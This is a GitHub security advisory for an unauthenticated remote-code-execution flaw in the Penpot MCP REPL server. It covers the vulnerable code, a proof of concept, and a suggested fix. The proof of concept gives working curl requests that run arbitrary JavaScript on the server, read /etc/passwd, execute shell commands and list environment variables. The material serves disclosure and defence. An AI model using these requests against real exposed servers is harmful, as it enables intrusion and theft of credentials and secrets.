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PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE

High severity GitHub Reviewed Published May 19, 2026 in penpot/penpot • Updated May 19, 2026

Package

npm @penpot/mcp (npm)

Affected versions

< 2.15.0

Patched versions

2.15.0

Description

Summary

The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.

Details

mcp/packages/server/src/ReplServer.ts:89:

this.server = this.app.listen(this.port, () => {
    // NO HOST ARGUMENT — Express defaults to 0.0.0.0

Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):

this.app.listen(this.port, this.host, async () => {

The /execute endpoint at ReplServer.ts:52-79:

this.app.post("/execute", async (req, res) => {
    const { code } = req.body;
    // No auth check. Executes code via PluginBridge.executePluginTask()
    const task = new ExecuteCodePluginTask({ code });
    const result = await this.pluginBridge.executePluginTask(task);

No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.

This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.tsReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.

PoC

I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.

$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES

Unauthenticated code execution:

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}

Binding verification:

$ ss -tlnp | grep 4403
LISTEN  0  511  *:4403  *:*  users:(("node",pid=696955,fd=21))

Listening on *:4403 — all interfaces.

Remote access from Docker container:

$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)

Reachable from any container on the Docker network.

Impact

Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.

Suggested fix

Two lines:

  1. Add a host parameter to the listen call in ReplServer.ts:89:
this.server = this.app.listen(this.port, 'localhost', () => {
  1. Add authentication to the /execute endpoint. Even a shared secret from an environment variable would be better than nothing.

References

@niwinz niwinz published to penpot/penpot May 19, 2026
Published to the GitHub Advisory Database May 19, 2026
Reviewed May 19, 2026
Last updated May 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Exposed Dangerous Method or Function

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. Learn more on MITRE.

CVE ID

CVE-2026-45805

GHSA ID

GHSA-22qr-rp27-j9wm

Source code

Credits

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